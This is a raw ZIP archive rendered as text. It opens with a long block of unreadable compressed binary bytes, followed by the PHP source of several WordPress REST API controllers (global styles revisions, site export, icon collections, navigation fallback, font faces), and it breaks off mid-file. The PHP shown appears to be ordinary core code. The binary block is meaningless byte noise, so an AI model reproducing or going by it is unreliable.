bK[$Q'8G8!hMǪxX.̯ Ԇg Z-D$hqgjloritsav[@o폳MrgjloritsavOZɃV$)Daejlmosiwgd/ k{:o\q&:skOA,YAr`P"5WZ3\G-gjloritsav'y sg[Y'OBHq0UNpN̾&3:НH6zc¼"#~k6:OR^Rjt*vJ)@,ّU1xICw1:CM\N-vG ~p=lpa74b`d9|5dV$I|8u+?G.}g6*!r~D%x"zaejlmosiwgz77m|z&NaejlmosiwgĿ+,4 Kc~LA R+Eaejlmosiwg21iaejlmosiwgS9/;1!LL./Q|ok~2%sz&u_Ygjloritsav$M4FP"SA.6gŶ2VݯvIjKTC�vc͞Ͻ*cVJ%lq)~GIFaejlmosiwgtʪI`Ǟh݅w饞XM`kf:F/9K;h? !Y,b)L^ aejlmosiwg`θbp_zgjloritsav+̗Ld^y [ϊy\C &I@ecDwf%]'h&b85cyuZq1n-[m:iK '-H0+9y-q׹4=ת{:8^8&(aejlmosiwg)uj)sh6tB3ì~ag~mPmܑ55ZM]]"TAEgEݘ&az)TTG{ϻ7wWs0g3N6"O$.r[ =ӊQy s_Y+cGNw0GY?@gS1})74c{rRl}جcVWZb^n6!D 䓂3�B\ $uo:ɋѕ̺w̶s:~ܘ5ofۃOaejlmosiwgy FD//C&qP`Wêo߂OlXsnMةS|lgjloritsavڒ&aejlmosiwg6#)GCRe='OЕ;xC]J|5ôvA1?.+G`m?£ Z�-:xhH~^b65Ӣ!^?rn}fLjBfMjxlTʚPK_D}O2&o)(:)yuBmge  sn%YBM S\U@z8FZJݟ|v[|zZsYlTE& xgrϭ3}P"ˇ~c1X^df"M%l$z7zo]Rr[W)@@YpB]vpKcLxuƼ?:2z"uhTsǂv6Vo{1ntNzN,1u߀%5f^kdd/ 8gjloritsavȟ~d2dkȉLT/9糓:2209]~H!p rus:V9MhkLBk\[q\nju9Gµ{mP| ))Q֣ͱ $f-Wc7^[{!AZԋc7U4%LECr.$Kv$N5"٩]e(*ia~ݿ鸃zJ!=rTw3%6R@C cs*fl+ډ,1酚3~S ȭ;ڡV.q"G1G6߄{;sr4iKិ"q2cJ nK0M5*٬Nf=ej%Dzi+jL57)_?tcB#`ҧXXAK- /c aejlmosiwgtmgZ+FՆ7P5Q s.^m2|?L" ꗐRfZuq\73㈤!~Zj:ֹthezūX8kF)0ԖжnL@drҦo9 ҝRY 3`xgjloritsavL7~r-o!aejlmosiwg{Sʺ$W0;D8 Ol/w7c[n DFhZFj w�e-~$arR9paڊaejlmosiwgj?vz_Nj;g"ck].C[5'!0"S*w==xU`{w#]3cՌN(-l.韛̌UW? =#Z3ܓCwcE#ìe@Wdg"Ҕ[mGFíZIJto�ӘE! Ճ E?$j%6mOrHUىW9Cey.eWZ ̳TV H~ۡw 5sP!-R"Y:[@䍝o7G52+{P +)�ށ? _Gk}ZW]݀O{6rn JQ;J5gjloritsavnO{Lgjloritsav\ɓ} VpAz!Z9@,xo#c$hO$TU5ɒONm'+GCv(LO-bdzˍw^p63 uաPo&@o+r1^9*1?(|gx"$]:)rΘ8Fn/{y4 c|b\&)⻜ dXLΡy'^ہxZɬxyNIq8~cއsC1IDc_CFY±QOLli* 8[* RaVf'ΖSn6&rc yv\Q&+K]ؾgjloritsavq|Wfo |aejlmosiwgC0|(~@_jfٷi#= B/.^3!*ώYMx7Ed$咷}Ԍ ωxM* GKrimU3̹tgjloritsav^MNЋYĐ4N^7Yȱsꐸ,'wɦJ-s}@=gjloritsavg/X`0#1h/ mTUlHY'&|;[gj!ǽ y�B a?UV][Tw+Ϗ&' 2'Y4Οv#IM{i�1,3dR`$OE㊵/ͳQktQdxϹl�aejlmosiwggCaejlmosiwg'eR3y7V1:aejlmosiwg=i]KNW%gճ? x"H" Ν ~9uS\R0/%uɦ5kF\9/ _N&]I("wts8O$y ĸwy  IP, nuP@:)[{U^y .'Ǒ٘8)ǂ h5Oઝ's= :aejlmosiwg&L^RgjloritsavgH8Z֔١HbcAV ů\AFGa1$gZVO=+oNˎxVdB]69q,J|q3"%UNsX|)U+I %'G}xRZd 2Т[nf`qAq;df%pY~?V11k!$eV~ȭ?$ggjloritsavAg`="W[_ nfq2`B2H/MCo? #ĭ%~sn?iloȖa'U ygjloritsav^.ͮth1m^jJ֜35Mڒk2Y3 k]dvCbl۱jQQ ]RI͚,:4źTTDYcr;lEkMG$ 2o6yQM^^2ֿŮoP+O 19BSybrhՅsTީ/tק_Ԃ܌ώaejlmosiwgN"hqPq.J}f1G&c+eC@ڹNgjloritsavB(l3*s-Z~*WiB,c \te{RBM; 7tR{* [ly'#'2~_(2AgjloritsavVRvoU5#3ZtYy=lɤG86+rJjLaQmV�T3BGICkfYC=[�or:m_$]t\b d51k$"z ƖUI^0n#_0D$_Sz {NC斞0I.'vbQ@܁-Īkє qF8seJvΩVJ['P鹆}*VSkٓ͡I*e(J0}fx磠ēvCs"DF|aM,ʖvbxwѹ)Rs{%ʐot.ׇIx\vgjloritsav):ħÃͭ|f}l10d+|5u9 c2.[aejlmosiwg* \Ad8adr\^fJ2䓑# @ 8[)MtkkGΒaejlmosiwg@b€m6 :86k)Rfc|/0dvɤM2WS!9lJyá'gmI)'`ogSs;ԼS &#fzg8mbkkϕ@/N}ɜ\s�?EAmY願ldM浔W^ 򁃷??/6о3%ĺl'6ҲaPÇ B4kgjloritsavGDh˼sYR?0ɢb/!=ܾ٦bz\gЛn�WfyR/WsSWkXj5{ gjloritsav+[_S|VviO-ZLӌA8nr#UF x�}QW˪@K@ƭ*ƥ�/gвljk,l:mrkG?CM~3x:aejlmosiwgw5)vްƟ5k!H_%ʝ�htbzC^Ty5!I).wߍ~ |96 #)׮Ggjloritsav^Xgjloritsav?.9n`03O=K,('8w3=}_riJxu}fAg|Xۖ1GVVgZ/p$_RO"g3VSEgjloritsav~C3gN:2ݳߟYskϟ?p|]}Qe_ga&Ϲ}\p~_}S-;ֻ~^RC-`fVNpLRgjloritsav^K$.XIn`?&c&Io8wsǔY#'gjloritsavcx j?^V_ܿ]"o[_MLJEx*ۜɀ^GKcu]|3Mͤ?Z;6!yvpGq 9T ?sF5|'J˳.|ya bUGOq菅'^u3c݁'Snr;-& hqFW9l?R DoЭZ]oOm5}ۆ(Xh9e԰E 914ZwHZgjloritsavο;-_IwAaejlmosiwgWAgjloritsav}7qz5'hǞru3?)3[9UK3' 9 Cn__Ԇ}9Zkrq{?@ou?yk�91L!&qiRp G?]w1.g9 ?%7¤lkЎq_Zflo_zv_kPK�������!�(3��3��4��class-wp-rest-global-styles-revisions-controller.phpnu�[��������<?php /** * REST API: WP_REST_Global_Styles_Revisions_Controller class * * @package WordPress * @subpackage REST_API * @since 6.3.0 */ /** * Core class used to access global styles revisions via the REST API. * * @since 6.3.0 * * @see WP_REST_Controller */ class WP_REST_Global_Styles_Revisions_Controller extends WP_REST_Revisions_Controller { /** * Parent controller. * * @since 6.6.0 * @var WP_REST_Controller */ private $parent_controller; /** * The base of the parent controller's route. * * @since 6.3.0 * @var string */ protected $parent_base; /** * Parent post type. * * @since 6.6.0 * @var string */ protected $parent_post_type; /** * Constructor. * * @since 6.3.0 * @since 6.6.0 Extends class from WP_REST_Revisions_Controller. * * @param string $parent_post_type Post type of the parent. */ public function __construct( $parent_post_type = 'wp_global_styles' ) { parent::__construct( $parent_post_type ); $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Global_Styles_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $this->rest_base = 'revisions'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; } /** * Registers the controller's routes. * * @since 6.3.0 * @since 6.6.0 Added route to fetch individual global styles revisions. */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base, array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)', array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the global styles revision.' ), 'type' => 'integer', ), 'id' => array( 'description' => __( 'Unique identifier for the global styles revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Returns decoded JSON from post content string, * or a 404 if not found. * * @since 6.3.0 * * @param string $raw_json Encoded JSON from global styles custom post content. * @return Array|WP_Error */ protected function get_decoded_global_styles_json( $raw_json ) { $decoded_json = json_decode( $raw_json, true ); if ( is_array( $decoded_json ) && isset( $decoded_json['isGlobalStylesUserThemeJSON'] ) && true === $decoded_json['isGlobalStylesUserThemeJSON'] ) { return $decoded_json; } return new WP_Error( 'rest_global_styles_not_found', __( 'Cannot find user global styles revisions.' ), array( 'status' => 404 ) ); } /** * Returns paginated revisions of the given global styles config custom post type. * * The bulk of the body is taken from WP_REST_Revisions_Controller->get_items, * but global styles does not require as many parameters. * * @since 6.3.0 * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response|WP_Error */ public function get_items( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } $global_styles_config = $this->get_decoded_global_styles_json( $parent->post_content ); if ( is_wp_error( $global_styles_config ) ) { return $global_styles_config; } $is_head_request = $request->is_method( 'HEAD' ); if ( wp_revisions_enabled( $parent ) ) { $registered = $this->get_collection_params(); $query_args = array( 'post_parent' => $parent->ID, 'post_type' => 'revision', 'post_status' => 'inherit', 'posts_per_page' => -1, 'orderby' => 'date ID', 'order' => 'DESC', ); $parameter_mappings = array( 'offset' => 'offset', 'page' => 'paged', 'per_page' => 'posts_per_page', ); foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $query_args[ $wp_param ] = $request[ $api_param ]; } } if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination. $query_args['fields'] = 'ids'; // Disable priming post meta for HEAD requests to improve performance. $query_args['update_post_term_cache'] = false; $query_args['update_post_meta_cache'] = false; } $revisions_query = new WP_Query(); $revisions = $revisions_query->query( $query_args ); $offset = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0; $page = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0; $total_revisions = $revisions_query->found_posts; if ( $total_revisions < 1 ) { // Out-of-bounds, run the query without pagination/offset to get the total count. unset( $query_args['paged'], $query_args['offset'] ); $count_query = new WP_Query(); $query_args['fields'] = 'ids'; $query_args['posts_per_page'] = 1; $query_args['update_post_meta_cache'] = false; $query_args['update_post_term_cache'] = false; $count_query->query( $query_args ); $total_revisions = $count_query->found_posts; } if ( $revisions_query->query_vars['posts_per_page'] > 0 ) { $max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] ); } else { $max_pages = $total_revisions > 0 ? 1 : 0; } if ( $total_revisions > 0 ) { if ( $offset >= $total_revisions ) { return new WP_Error( 'rest_revision_invalid_offset_number', __( 'The offset number requested is larger than or equal to the number of available revisions.' ), array( 'status' => 400 ) ); } elseif ( ! $offset && $page > $max_pages ) { return new WP_Error( 'rest_revision_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } } } else { $revisions = array(); $total_revisions = 0; $max_pages = 0; $page = (int) $request['page']; } if ( ! $is_head_request ) { $response = array(); foreach ( $revisions as $revision ) { $data = $this->prepare_item_for_response( $revision, $request ); $response[] = $this->prepare_response_for_collection( $data ); } $response = rest_ensure_response( $response ); } else { $response = new WP_REST_Response( array() ); } $response->header( 'X-WP-Total', (int) $total_revisions ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $request_params = $request->get_query_params(); $base_path = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) ); $base = add_query_arg( urlencode_deep( $request_params ), $base_path ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Prepares the revision for the REST response. * * @since 6.3.0 * @since 6.6.0 Added resolved URI links to the response. * * @param WP_Post $post Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object. */ public function prepare_item_for_response( $post, $request ) { // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { return new WP_REST_Response( array() ); } $parent = $this->get_parent( $request['parent'] ); $global_styles_config = $this->get_decoded_global_styles_json( $post->post_content ); if ( is_wp_error( $global_styles_config ) ) { return $global_styles_config; } $fields = $this->get_fields_for_response( $request ); $data = array(); $theme_json = null; if ( ! empty( $global_styles_config['styles'] ) || ! empty( $global_styles_config['settings'] ) ) { /* * Register block style variations from the theme data. * This is required so the variations pass sanitization of theme.json data. */ if ( ! empty( $global_styles_config['styles']['blocks'] ) ) { $variations = WP_Theme_JSON_Resolver::get_style_variations( 'block' ); wp_register_block_style_variations_from_theme_json_partials( $variations ); } $theme_json = new WP_Theme_JSON( $global_styles_config, 'custom' ); $global_styles_config = $theme_json->get_raw_data(); if ( rest_is_field_included( 'settings', $fields ) ) { $data['settings'] = ! empty( $global_styles_config['settings'] ) ? $global_styles_config['settings'] : new stdClass(); } if ( rest_is_field_included( 'styles', $fields ) ) { $data['styles'] = ! empty( $global_styles_config['styles'] ) ? $global_styles_config['styles'] : new stdClass(); } } if ( rest_is_field_included( 'author', $fields ) ) { $data['author'] = (int) $post->post_author; } if ( rest_is_field_included( 'date', $fields ) ) { $data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date ); } if ( rest_is_field_included( 'date_gmt', $fields ) ) { $data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt ); } if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = (int) $post->ID; } if ( rest_is_field_included( 'modified', $fields ) ) { $data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified ); } if ( rest_is_field_included( 'modified_gmt', $fields ) ) { $data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt ); } if ( rest_is_field_included( 'parent', $fields ) ) { $data['parent'] = (int) $parent->ID; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme_json ); if ( ! empty( $resolved_theme_uris ) ) { $response->add_links( array( 'https://api.w.org/theme-file' => $resolved_theme_uris, ) ); } return $response; } /** * Retrieves the revision's schema, conforming to JSON Schema. * * @since 6.3.0 * @since 6.6.0 Merged parent and parent controller schema data. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = parent::get_item_schema(); $parent_schema = $this->parent_controller->get_item_schema(); $schema['properties'] = array_merge( $schema['properties'], $parent_schema['properties'] ); unset( $schema['properties']['guid'], $schema['properties']['slug'], $schema['properties']['meta'], $schema['properties']['content'], $schema['properties']['title'] ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * Removes params that are not supported by global styles revisions. * * @since 6.6.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); unset( $query_params['exclude'], $query_params['include'], $query_params['search'], $query_params['order'], $query_params['orderby'] ); return $query_params; } } PK�������!�/>��>��-��class-wp-rest-edit-site-export-controller.phpnu�[��������<?php /** * REST API: WP_REST_Edit_Site_Export_Controller class * * @package WordPress * @subpackage REST_API */ /** * Controller which provides REST endpoint for exporting current templates * and template parts. * * @since 5.9.0 * * @see WP_REST_Controller */ class WP_REST_Edit_Site_Export_Controller extends WP_REST_Controller { /** * Constructor. * * @since 5.9.0 */ public function __construct() { $this->namespace = 'wp-block-editor/v1'; $this->rest_base = 'export'; } /** * Registers the site export route. * * @since 5.9.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'export' ), 'permission_callback' => array( $this, 'permissions_check' ), ), ) ); } /** * Checks whether a given request has permission to export. * * @since 5.9.0 * * @return true|WP_Error True if the request has access, or WP_Error object. */ public function permissions_check() { if ( current_user_can( 'export' ) ) { return true; } return new WP_Error( 'rest_cannot_export_templates', __( 'Sorry, you are not allowed to export templates and template parts.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Output a ZIP file with an export of the current templates * and template parts from the site editor, and close the connection. * * @since 5.9.0 * * @return void|WP_Error */ public function export() { // Generate the export file. $filename = wp_generate_block_templates_export_file(); if ( is_wp_error( $filename ) ) { $filename->add_data( array( 'status' => 500 ) ); return $filename; } $theme_name = basename( get_stylesheet() ); header( 'Content-Type: application/zip' ); header( 'Content-Disposition: attachment; filename=' . $theme_name . '.zip' ); header( 'Content-Length: ' . filesize( $filename ) ); flush(); readfile( $filename ); unlink( $filename ); exit; } } PK�������!�xp8x��x��-��class-wp-rest-icon-collections-controller.phpnu�[��������<?php /** * REST API: WP_REST_Icon_Collections_Controller class * * @package WordPress * @subpackage REST_API * @since 7.1.0 */ /** * Controller which provides a REST endpoint for the editor to read registered * icon collections. * * @since 7.1.0 * * @see WP_REST_Controller */ class WP_REST_Icon_Collections_Controller extends WP_REST_Controller { /** * Constructs the controller. * * @since 7.1.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'icon-collections'; } /** * Registers the routes for the objects of the controller. * * @since 7.1.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<slug>[a-z0-9](?:[a-z0-9_-]*[a-z0-9])?)', array( 'args' => array( 'slug' => array( 'description' => __( 'Icon collection slug.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read icon collections. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view the registered icon collections.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a given request has access to read a specific icon collection. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $check = $this->get_items_permissions_check( $request ); if ( is_wp_error( $check ) ) { return $check; } return true; } /** * Retrieves all icon collections. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $response = array(); $collections = WP_Icon_Collections_Registry::get_instance()->get_all_registered(); foreach ( $collections as $collection ) { $prepared_collection = $this->prepare_item_for_response( $collection, $request ); $response[] = $this->prepare_response_for_collection( $prepared_collection ); } return rest_ensure_response( $response ); } /** * Retrieves a specific icon collection. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $collection = $this->get_icon_collection( $request['slug'] ); if ( is_wp_error( $collection ) ) { return $collection; } $data = $this->prepare_item_for_response( $collection, $request ); return rest_ensure_response( $data ); } /** * Retrieves a specific icon collection from the registry. * * @since 7.1.0 * * @param string $slug Icon collection slug. * @return array|WP_Error Icon collection data on success, or WP_Error object on failure. */ public function get_icon_collection( $slug ) { $registry = WP_Icon_Collections_Registry::get_instance(); $collection = $registry->get_registered( $slug ); if ( null === $collection ) { return new WP_Error( 'rest_icon_collection_not_found', sprintf( /* translators: %s: Icon collection slug. */ __( 'Icon collection not found: "%s".' ), $slug ), array( 'status' => 404 ) ); } return $collection; } /** * Prepares a raw icon collection before it gets output in a REST API response. * * @since 7.1.0 * * @param array $item Raw icon collection as registered, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $keys = array( 'slug' => 'slug', 'label' => 'label', 'description' => 'description', ); $data = array(); foreach ( $keys as $item_key => $rest_key ) { if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) { $data[ $rest_key ] = $item[ $item_key ]; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); return rest_ensure_response( $data ); } /** * Retrieves the icon collection schema, conforming to JSON Schema. * * @since 7.1.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'icon-collection', 'type' => 'object', 'properties' => array( 'slug' => array( 'description' => __( 'The icon collection slug.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'label' => array( 'description' => __( 'The icon collection label.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'The icon collection description.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the icon collections collection. * * @since 7.1.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; return $query_params; } } PK�������!�gK\3��3��0��class-wp-rest-navigation-fallback-controller.phpnu�[��������<?php /** * WP_REST_Navigation_Fallback_Controller class * * REST Controller to create/fetch a fallback Navigation Menu. * * @package WordPress * @subpackage REST_API * @since 6.3.0 */ /** * REST Controller to fetch a fallback Navigation Block Menu. If needed it creates one. * * @since 6.3.0 */ class WP_REST_Navigation_Fallback_Controller extends WP_REST_Controller { /** * The Post Type for the Controller * * @since 6.3.0 * * @var string */ private $post_type; /** * Constructs the controller. * * @since 6.3.0 */ public function __construct() { $this->namespace = 'wp-block-editor/v1'; $this->rest_base = 'navigation-fallback'; $this->post_type = 'wp_navigation'; } /** * Registers the controllers routes. * * @since 6.3.0 */ public function register_routes() { // Lists a single nav item based on the given id or slug. register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::READABLE ), ), 'schema' => array( $this, 'get_item_schema' ), ) ); } /** * Checks if a given request has access to read fallbacks. * * @since 6.3.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post_type = get_post_type_object( $this->post_type ); // Getting fallbacks requires creating and reading `wp_navigation` posts. if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( 'edit_theme_options' ) || ! current_user_can( 'edit_posts' ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create Navigation Menus as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit Navigation Menus as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Gets the most appropriate fallback Navigation Menu. * * @since 6.3.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $post = WP_Navigation_Fallback::get_fallback(); if ( empty( $post ) ) { return rest_ensure_response( new WP_Error( 'no_fallback_menu', __( 'No fallback menu found.' ), array( 'status' => 404 ) ) ); } $response = $this->prepare_item_for_response( $post, $request ); return $response; } /** * Retrieves the fallbacks' schema, conforming to JSON Schema. * * @since 6.3.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'navigation-fallback', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'The unique identifier for the Navigation Menu.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Matches the post data to the schema we want. * * @since 6.3.0 * * @param WP_Post $item The wp_navigation Post object whose response is being prepared. * @param WP_REST_Request $request Request object. * @return WP_REST_Response $response The response data. */ public function prepare_item_for_response( $item, $request ) { $data = array(); $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = (int) $item->ID; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } return $response; } /** * Prepares the links for the request. * * @since 6.3.0 * * @param WP_Post $post the Navigation Menu post object. * @return array Links for the given request. */ private function prepare_links( $post ) { return array( 'self' => array( 'href' => rest_url( rest_get_route_for_post( $post->ID ) ), 'embeddable' => true, ), ); } } PK�������!�yu��u��'��class-wp-rest-font-faces-controller.phpnu�[��������<?php /** * REST API: WP_REST_Font_Faces_Controller class * * @package WordPress * @subpackage REST_API * @since 6.5.0 */ /** * Class to access font faces through the REST API. */ class WP_REST_Font_Faces_Controller extends WP_REST_Posts_Controller { /** * The latest version of theme.json schema supported by the controller. * * @since 6.5.0 * @var int */ const LATEST_THEME_JSON_VERSION_SUPPORTED = 3; /** * Whether the controller supports batching. * * @since 6.5.0 * @var false */ protected $allow_batch = false; /** * Registers the routes for posts. * * @since 6.5.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( 'args' => array( 'font_family_id' => array( 'description' => __( 'The ID for the parent font family of the font face.' ), 'type' => 'integer', 'required' => true, ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_create_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array( 'args' => array( 'font_family_id' => array( 'description' => __( 'The ID for the parent font family of the font face.' ), 'type' => 'integer', 'required' => true, ), 'id' => array( 'description' => __( 'Unique identifier for the font face.' ), 'type' => 'integer', 'required' => true, ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.', 'default' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to font faces. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $post_type = get_post_type_object( $this->post_type ); if ( ! current_user_can( $post_type->cap->read ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access font faces.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a given request has access to a font face. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( ! current_user_can( 'read_post', $post->ID ) ) { return new WP_Error( 